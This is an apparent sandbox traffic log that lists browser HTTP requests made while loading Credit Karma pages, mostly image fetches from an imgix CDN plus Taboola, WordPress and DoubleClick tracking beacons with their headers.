Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Mobile-phone-2.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Magnifying-glass-3.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Module-5-Cash-Flow-5.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Graph-with-up-arrow-4.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Module-6-guy-4.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Module-7-Close-9.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g.gif?v=ext&blog=138066937&post=4063040&tz=-7&srv=cms.creditkarma.com&hp=vip&j=1%3A13.6&host=www.creditkarma.com&ref=https%3A%2F%2Fwww.creditkarma.com%2F&fcp=4813&rand=0.5334428172984114 HTTP/1.1Host: pixel.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-facebook.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-instagram.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-twitter.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Money-3.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Magnifying-glass-3.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Mobile-phone-2.png?auto=compress HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Eyebrow-Cash-Flow.png?fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/LCR-5529-Module-4-monthly-insights-6.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1022710/trc/3/json?tim=1723223588853&data=%7B%22id%22%3A483%2C%22ii%22%3A%22%2Fwealth%22%2C%22it%22%3A%22video%22%2C%22sd%22%3A%22v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223582_CNawjgYQ9rU-GK6-hMGTMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ%22%2C%22ui%22%3A%224c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e%22%2C%22vi%22%3A1723223588845%2C%22cv%22%3A%2220230124-13-RELEASE%22%2C%22uiv%22%3A%22default%22%2C%22u%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%3F%22%2C%22e%22%3Anull%2C%22cb%22%3A%22TFASC.trkCallback%22%2C%22qs%22%3A%22%22%2C%22r%22%3A%5B%7B%22li%22%3A%22rbox-tracking%22%2C%22s%22%3A0%2C%22uim%22%3A%22rbox-tracking%3Apub%3Dcreditkarma-creditcards-sc%3Aabp%3D0%22%2C%22uip%22%3A%22rbox-tracking%22%2C%22orig_uip%22%3A%22rbox-tracking%22%7D%5D%2C%22mpv%22%3Atrue%2C%22supv%22%3Atrue%2C%22mpvd%22%3A%7B%22en%22%3A%22page_view%22%2C%22tim%22%3A1723223588852%2C%22ref%22%3Anull%2C%22item-url%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%22%2C%22tos%22%3A4312%2C%22ssd%22%3A2%2C%22scd%22%3A0%2C%22ler%22%3A%22other%22%2C%22supv%22%3Atrue%7D%7D&pubit=i HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /?uid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&src=tfa HTTP/1.1Host: cds.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tags.creditkarma.com/wealthAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-youtube.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Module-5-Cash-Flow-5.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/rul/986970455?random=1723223588800&cv=11&fst=1723223588800&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkzdq0pCuTHepXdo19qa8IEXkVbufgf7cTLUAatzm-JQ3K8YyYx98Y1FGEC
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-facebook.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Module-7-Close-9.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-instagram.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-tiktok.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-pinterest.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/digicert.png HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-twitter.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/11/Module-6-guy-4.png?w=1024&fm=webp HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: pips.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://tags.creditkarma.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1022710/trc/3/json?tim=1723223588853&data=%7B%22id%22%3A483%2C%22ii%22%3A%22%2Fwealth%22%2C%22it%22%3A%22video%22%2C%22sd%22%3A%22v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223582_CNawjgYQ9rU-GK6-hMGTMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ%22%2C%22ui%22%3A%224c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e%22%2C%22vi%22%3A1723223588845%2C%22cv%22%3A%2220230124-13-RELEASE%22%2C%22uiv%22%3A%22default%22%2C%22u%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%3F%22%2C%22e%22%3Anull%2C%22cb%22%3A%22TFASC.trkCallback%22%2C%22qs%22%3A%22%22%2C%22r%22%3A%5B%7B%22li%22%3A%22rbox-tracking%22%2C%22s%22%3A0%2C%22uim%22%3A%22rbox-tracking%3Apub%3Dcreditkarma-creditcards-sc%3Aabp%3D0%22%2C%22uip%22%3A%22rbox-tracking%22%2C%22orig_uip%22%3A%22rbox-tracking%22%7D%5D%2C%22mpv%22%3Atrue%2C%22supv%22%3Atrue%2C%22mpvd%22%3A%7B%22en%22%3A%22page_view%22%2C%22tim%22%3A1723223588852%2C%22ref%22%3Anull%2C%22item-url%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2Fwealth%22%2C%22tos%22%3A4312%2C%22ssd%22%3A2%2C%22scd%22%3A0%2C%22ler%22%3A%22other%22%2C%22supv%22%3Atrue%7D%7D&pubit=i HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-youtube.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/digicert.png HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-pinterest.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/986970455/?random=1179434329&cv=11&fst=1723223588800&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2Fwealth&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&crd=CKG4sQIIscGxAgiwwbECCLnBsQIIo8WxAiIBATgBQAFKFWV2ZW50LXNvdXJjZSwgdHJpZ2dlcmIECgICAw&eitems=ChEI8PzWtQYQ9LGvkJGl2aK5ARIdACif1ZKgpCgfmEBWQYcDmLQBzUlxBI1yHO42AnQ&pscrd=CNqdv-y35ae23AEiEwjchIeQtOiHAxVt2REIHaBrK1AyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6HWh0dHBzOi8vdGFncy5jcmVkaXRrYXJtYS5jb20v HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkzdq0pCuTHepXdo19qa8IEXkVbufgf7cTLUAatzm-JQ3K8YyYx98Y1FGEC
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/creditkarma/assets/images/social-tiktok.svg HTTP/1.1Host: creditkarma-cms.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
